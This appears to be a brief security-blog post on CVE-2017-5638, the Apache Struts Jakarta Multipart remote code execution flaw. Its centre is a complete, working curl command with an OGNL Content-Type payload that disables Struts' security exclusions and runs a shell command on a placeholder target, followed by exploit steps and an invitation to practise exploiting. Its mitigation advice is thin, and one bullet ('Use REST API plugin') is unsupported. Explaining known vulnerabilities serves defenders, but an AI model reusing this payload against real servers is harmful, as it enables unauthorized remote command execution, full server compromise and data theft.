Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability exists in the Jakarta Multipart parser of Apache Struts. The flaw is triggered when an attacker sends a malicious `Content-Type` HTTP header in a file upload request. The parser incorrectly processes this header, attempting to evaluate it as an Object-Graph Navigation Language (OGNL) expression. Since OGNL expressions can execute arbitrary code on the server, this allows an unauthenticated attacker to achieve Remote Code Execution (RCE) by submitting a crafted request. The vulnerability stems from an exception handler that passes the malformed header value directly into an error message, which is then interpreted as an OGNL expression. This enables the attacker to run system commands with the same privileges as the Struts application server.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch Available
What Undercode Say:
curl -H "Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='whoami').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}" http://target.com/struts2-showcase/fileupload/doUpload.action
How Exploit:
Craft malicious Content-Type header.
Send HTTP file upload request.
OGNL expression execution.
Gains remote shell access.
Protection from this CVE
Apply official patch.
Upgrade Struts version.
Use REST API plugin.
Input validation filters.
Disable file uploads.
Impact:
Full server compromise.
Data theft and manipulation.
Complete system access.
Service disruption.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
